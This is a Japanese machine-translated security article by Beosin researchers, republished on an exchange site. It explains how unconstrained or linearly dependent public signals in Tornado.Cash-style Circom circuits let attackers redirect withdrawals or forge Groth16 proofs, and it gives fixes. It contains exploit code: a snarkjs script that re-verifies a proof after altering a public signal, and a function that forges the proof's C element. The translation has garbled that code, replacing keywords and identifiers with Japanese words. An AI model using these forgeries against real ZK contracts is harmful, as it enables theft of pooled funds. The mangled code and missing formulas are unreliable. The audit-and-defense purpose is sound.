ZKP プロジェクト関係者の必読書: 回路監査 - 冗長制約は本当に冗長ですか?

この記事の著者: Beosin セキュリティ研究の専門家、Saya と Bryce

1 はじめに

ZKP(Zero-Knowledge Proof)プロジェクトは主にオフチェーン回路とオンチェーンコントラクトの2つの部分で構成されており、回路部分はビジネスロジックの制約抽象化や複雑な暗号基礎知識が含まれるため、プロジェクト側にとっては難しい部分である。 **これは、プロジェクト関係者によって簡単に無視されるセキュリティのケース、つまり「冗長な制約」です。目的は、プロジェクト関係者とユーザーに、関連するセキュリティ リスクに注意を払うよう思い出させることです。 。 **

2. 冗長な制約は削除できますか

ZKP プロジェクトを監査すると、通常、次のような奇妙な制約が表示されますが、多くのプロジェクト関係者は実際にはその具体的な意味を理解していません。回路の再利用の困難さを軽減し、オフチェーン コンピューティングの消費を節約するために、いくつかの制約が削除されることがあります。セキュリティ上の問題を引き起こす:

上記のコードを削除する前後で生成される制約の数を比較したところ、実際のプロジェクトにおける上記の制約の有無は、プロジェクト側で無視されやすいため、プロジェクトの総制約数にはほとんど影響を与えないことが分かりました。自動最適化。

上記の回路の実際の目的は、証明にデータを追加することだけですが、Tornado.Cash を例に取ると、追加データには受信者アドレス、中継者アドレス、手数料などが含まれます。後続の回路の実際の計算が行われないため、他のプロジェクト関係者の間で混乱を引き起こし、回路から削除され、一部のユーザーのトランザクションが盗まれる可能性があります。

以下では、単純なプライベート トランザクション プロジェクト Tornado.Cash を例として、この攻撃を紹介します。この記事では、回路内の関連する信号と追加情報の制約を削除します。

"../../../../node_modules/circomlib/circuits/bitify.circom" を含めます。 include "../../../../node_modules/circomlib/circuits/pedersen.circom";include "merkleTree.circom";template CommitmentHasher() { 信号入力無効化子;信号入力の秘密。信号出力のコミットメント。 // シグナル出力 nullifierHash;コンポーネント commitHasher = Pedersen(496); // コンポーネント nullifierHasher = Pedersen(248);コンポーネント nullifierBits = Num2Bits(248);コンポーネント SecretBits = Num2Bits(248); nullifierBits.in <== nullifier; SecretBits.in <== シークレット; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ;コミットメントハッシャー.in [i] <== nullifierBits.out [i] ; commitHasher.in[i + 248] <== SecretBits.out [i] ; } コミットメント <== commitHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// 指定されたシークレットと nullifier に対応するコミットメントが、depositstemplate のマークル ツリーに含まれていることを検証します Withdraw(levels) { signal input root; // 信号入力 nullifierHash;信号出力のコミットメント。 // シグナル入力受信者; // 計算には参加しません // 信号入力リレーラー; // 計算には関与しません // 信号入力料金; // 計算には参加しません // 信号入力の返金; // いかなる計算にも参加しない信号入力ヌルファイア。信号入力の秘密。 // 信号入力 pathElements [levels] ; // 信号入力 pathIndices [levels] ;コンポーネントハッシュ = CommitmentHasher(); hasher.nullifier <== ヌルファイア; hasher.secret <== シークレット;コミットメント <== hasher.commitment; // hasher.nullifierHash === nullifierHash; // コンポーネント ツリー = MerkleTreeChecker(レベル); // ツリー.リーフ <== hasher.commitment; // ツリー.ルート <== ルート; // for ( i = 0; i < レベル; i++) { //tree.pathElements [i] <== パス要素 [i] ; // ツリー.pathIndices [i] <== パスインデックス [i] ; // } // 受信者や料金の改ざんによってスナークの証拠が無効になることを確認するために、隠しシグナルを追加します // ほとんどの場合、必須ではありませんが、安全側に置いておく方が良いです。制約は 2 つだけです。 // 四角形は次のとおりです。オプティマイザがこれらの制約を削除しないようにするために使用されます。 // 信号料Square; // シグナルrelayerSquare; // シグナルrefundSquare; //recipientSquare <== 受信者 * 受信者; // 料金Square <== 料金 * 料金; // リレーラーSquare <== リレーラー * リレーラー; // 返金Square <== 返金 * 返金;}コンポーネント main = Withdraw(20);

理解を容易にするため、本稿では回路内のMerkle TreeとnullifierHashの検証に関わる部分を削除し、受取人アドレスなどの注釈も付けています。この回路によって生成されたオンチェーン コントラクトでは、この記事では 2 つの異なるアドレスを使用して同時に検証します。両方の異なるアドレスが検証に合格できることがわかります。

ただし、次のコードを回線制約に追加すると、回線に設定された受信者アドレスのみが検証に合格できることがわかります。

信号入力受信者。 // 信号入力中継器の計算には参加しません。 // 信号入力料金の計算には参加しません。 // 計算には参加しません。信号入力の返金。 // 計算には参加しませんsignal RecipesSquare;signal FeeSquare;signal RelayerSquare;signalrefundSquare;recipientSquare <== 受信者 * 受信者;recipientSquare <== 受信者 * 受信者;feeSquare <== 料金 * 料金;relayerSquare <== 中継者 * 中継者;refundSquare <== 返金 * 返金;

したがって、Proof が受信者に拘束されていない場合、受信者のアドレスを自由に変更でき、zk 証明を検証できることがわかり、ユーザーがプロジェクト プールからお金を引き出したいときに、ユーザーが強奪される可能性があります。 MEV。以下は、プライバシー取引 DApp に対する MEV のフロントランニング攻撃の例です。

3. 冗長制約の間違った書き方

さらに、回路への書き込みには 2 つの一般的なエラーがあり、より深刻な二重支出攻撃につながる可能性があります。1 つは、入力信号が回路に設定されているが、信号が制約されていないことです。もう 1 つは、入力信号が回路に設定されていることです。信号に対する複数の制約のうち、それらの間には線形依存関係があります。以下の図は、Groth16 アルゴリズムの一般的な証明と検証の計算プロセスを示しています。

証明者が証明を生成する Proof π = ( [A] 1、 [C] 1、 [B] 2):

Verifier は証明 π[A, B, C] を受け取った後、次の検証方程式を計算します。それが確立されていれば検証は成功し、それ以外の場合は検証は失敗します。

3.1 信号は制約に関与しません

特定のパブリック信号 Zi が回路内に制約を持たない場合、その制約 j について、次の式の値は常に 0 になります (rj は検証者が証明者に計算する必要があるランダムなチャレンジ値です)。

Qh5M1gWNsintP7DUl6P0cDEHIdcnSchiB4YM50XY.png

同時に、これは、Zi の場合、任意の x が次の式を持つことを意味します。

したがって、信号 x については、検証式の次の式が成り立ちます。

検証式は次のとおりです。

Zi がどのような値であっても、この計算の結果は常に 0 であることがわかります。

この記事では、Tornado.Cash 回路を次のように変更します。回路には 1 つのパブリック入力信号受信者と 3 つのプライベート信号 (ルート、ヌルファイア、およびシークレット) があることがわかります。受信者には回路内に制約がありません。

template Withdraw(levels) { 信号入力ルート;信号出力のコミットメント。信号入力受信者。 // いかなる計算にも参加しない信号入力ヌルファイア。信号入力の秘密。コンポーネントハッシュ = CommitmentHasher(); hasher.nullifier <== ヌルファイア; hasher.secret <== シークレット;コミットメント <== hasher.commitment;}コンポーネント main {public [recipient] }= 撤退(20);

この記事は、最新の snarkjs ライブラリ バージョン 0.7.0 でテストされ、回路に制約信号がない場合の二重支出攻撃の効果を実証するために、暗黙的な制約コードが削除されます。コアの exp コードは次のとおりです。

非同期関数 groth16_exp() { let inputA = "7"; inputB = "11" にします。 inputC = "9" にします。 let inputD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC"; await newZKey(draw2.r1cs, powersOfTau28_hez_final_14.ptau,draw2_0000.zkey, ) await beacon(draw2_0000.zkey,draw2_final.zkey, "最終ビーコン", "0102030405060708090a0b0c0d0e0f1011121314151 61718191a1b1c1d1e1f", 10, ) const verifyKey = await exportVerificationKey(withdraw2_final.zkey) fs .writeFileSync(withdraw2_verification_key.json, JSON.stringify(verificationKey), "utf-8") let {proof, publicSignals } = await groth16FullProve({ ルート: inputA, nullifier: inputB, Secret: inputC, 受信者: inputD }, "withdraw2 .wasm"、"withdraw2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringify(proof), "utf-8 ") verify(publicSignals,proof);パブリックシグナル [1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") verify(publicSignals,proof);}

生成された両方のプルーフが検証に合格したことがわかります。

3.2 線形依存制約

gYomF7W3WdcnrQ3TiikO2QxX1fQgZ1mjl9o9erzo.png

template Withdraw(levels) { 信号入力ルート; // 信号入力 nullifierHash;信号出力のコミットメント。信号入力受信者。 // 信号入力リレーラーの計算には参加しません。 // 信号入力手数料の計算には一切関与しません。 // 計算には参加しません // 信号入力の返金; // いかなる計算にも参加しない信号入力ヌルファイア。信号入力の秘密。 // 信号入力 pathElements [levels] ; // 信号入力 pathIndices [levels] ;コンポーネントハッシュ = CommitmentHasher(); hasher.nullifier <== ヌルファイア; hasher.secret <== シークレット;コミットメント <== hasher.commitment;信号入力正方形; //recipientSquare <== 受信者 * 受信者; // 料金Square <== 料金 * 料金; // リレーラーSquare <== リレーラー * リレーラー; // 返金Square <== 返金 * 返金; 35 * Square === (2受信者 + 2中継者 + 料金 + 2) * (中継者 + 4);}component main {public [受信者,Square]}= Withdraw(20);

上記の回路は二重支払い攻撃につながる可能性があります。具体的な exp コア コードは次のとおりです。

const buildMalleabeC = async (orignal_proof_c, publicinput_index, orginal_pub_input, new_public_input, l) => { const c = unstringifyBigInts(orignal_proof_c) const { fd: fdZKey, セクション:セクションZKey } = await readBinFile("tornadocash_final.zkey", "zkey", 2) 、1 << 25、1 << 23) const buffBasesC = await readSection(fdZKey,sectionZKey, 8) fdZKey.close() const Curve = await buildBn128(); const Fr = カーブ.Fr; const G1 = 曲線.G1; const new_pi = new Uint8Array(Fr.n8); Scalar.toRprLE(new_pi, 0, new_public_input, Fr.n8); constmatching_pub = new Uint8Array(Fr.n8); Scalar.toRprLE(matching_pub, 0, orginal_pub_input, Fr.n8); const sGIn = Curve.G1.F.n8 * 2 constmatching_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const Linear_factor = Fr.e(l.toString(10)) const delta_lf = Fr.mul( Linear_factor, Fr.sub(matching_pub, new_pi)); const p = 待機曲線.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c); const malleable_c = G1.toAffine(G1.add(affine_c, p)) return stringifyBigInts(G1.toObject(malleable_c))}

ライブラリ コードの一部を変更した後、snarkjs バージョン 0.7.0 でテストした結果、次の両方の偽証明が検証に合格できることがわかりました。

  • 公開信号1 + 証明1

  • 公開信号 2 + 証明 2

4 つの修正

4.1 zk ライブラリ コード

現在、snarkjs ライブラリなどの一部の一般的な zk ライブラリは、最も単純な制約などのいくつかの制約を暗黙的に回路に追加します。

上記の式は数学的に常に真であるため、実際の信号値がどのようなものであっても、制約を満たしていても、セットアップ中にライブラリ コードによって暗黙的かつ均一に回路に信号を追加できます。また、最初のセクションの二乗制約は次のとおりです。サーキットで使用する方が安全です。たとえば、snarkjs は、セットアップ中に zkey を生成するときに次の制約を暗黙的に追加します。

4.2 回路

プロジェクト パーティが回路を設計する場合、使用されるサードパーティの zk ライブラリはセットアップまたはコンパイル中に追加の制約を追加しない可能性があるため、** プロジェクト パーティは回路設計レベルで制約の整合性を確保し、厳密に制御するよう努めることをお勧めします。回路内の制約 すべての信号は、前に示した二乗制約など、安全性を確保するために法的に制約されています。 **

原文表示
このページには第三者のコンテンツが含まれている場合があり、情報提供のみを目的としております(表明・保証をするものではありません)。Gateによる見解の支持や、金融・専門的な助言とみなされるべきものではありません。詳細については免責事項をご覧ください。
  • 報酬
  • コメント
  • 共有
コメント
0/400
コメントなし
いつでもどこでも暗号資産取引
qrCode
スキャンしてGateアプリをダウンロード
コミュニティ
日本語
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Bahasa Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)